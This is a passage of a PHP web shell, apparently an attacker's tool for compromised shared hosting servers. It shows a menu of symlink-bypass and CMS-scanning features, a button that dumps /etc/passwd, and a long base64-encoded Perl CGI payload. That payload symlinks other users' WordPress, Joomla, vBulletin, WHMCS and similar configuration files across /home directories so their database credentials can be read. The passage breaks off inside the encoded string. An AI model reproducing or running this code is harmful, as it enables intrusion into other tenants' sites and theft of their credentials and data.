2498$config=" <div class='cone'><a href='".$vb2."' target='_blank'>vBulletin</a></div>";
2499}
2500
2501elseif (strpos($vb13, "200") == true)
2502{
2503$config=" <div class='cone'><a href='".$vb3."' target='_blank'>vBulletin</a></div>";
2504}
2505
2506else
2507{
2508continue;
2509}
2510flush();
2511flush();
2512
2513
2514$site = $user['name'] ;
2515
2516
2517
2518flush();
2519
2520echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0]."/>".$domvw[1][0]."</a></div></td>
2521<td><div class='cone'>".$config."</div></td></tr>"; flush();
2522
2523}
2524}
2525}
2526}
2527echo "</table></div><br><br>";
2528}
2529
2530if(isset($_GET['action']) && $_GET['action'] == 'vkill'){
2531echo '<center><b class="conte">
2532<a href="?action=sym">Symlink Info</a> -
2533<a href="?action=dose">Cms Scanner</a> -
2534<a href="?action=vkill">Perl based symlink</a> -
2535<a href="?action=file">Symlink Manual</a> -
2536<a href="?action=manu">Manually Retrieve Config</a> -
2537<a href="?action=ensim">Enable Symlink If Disabled</a> -
2538<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2539<a href="?action=simby">Symlink Bypass 2014</a> </center>
2540</b>';
2541echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Perl based symlink</span></center><br>';
2542echo '<br><div align=center><table width=100% border=0><tr><td align=center></td></tr></table>
2543<font face="Tahoma" color="#007700" size="2pt">Extract /etc/passwd</font></b><br><br><form method=post>
2544<input type=submit name=passx value="Extract"><p></form><br>';
2545
2546if(isset($_POST['passx']))
2547{
2548echo '<p><textarea class="area" rows="15" cols="50" name="usernames" >';
2549$users=file("/etc/passwd");
2550foreach($users as $user)
2551{
2552$str=explode("\n",$user);
2553echo $str[0]."\n";
2554}
2555echo '</textarea></p><br>';
2556
2557}
2558
2559echo '<p><form method=post>
2560<font face="Tahoma" color="#ff6000" size="2pt"><input type=submit name=perl value="Perl based ln -s"></font></form><br>
2561</p>';
2562
2563if(isset($_POST['perl']))
2564{
2565error_reporting(0);
2566
2567$vw='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gUGFpbiBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogVGFob21hOw0KIGZvbnQtc2l6ZTogeC1zbWFsbDsNCiBmb250LXdlaWdodDogYm9sZDsNCiBjb2xvcjogIzAwOTkwMDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWc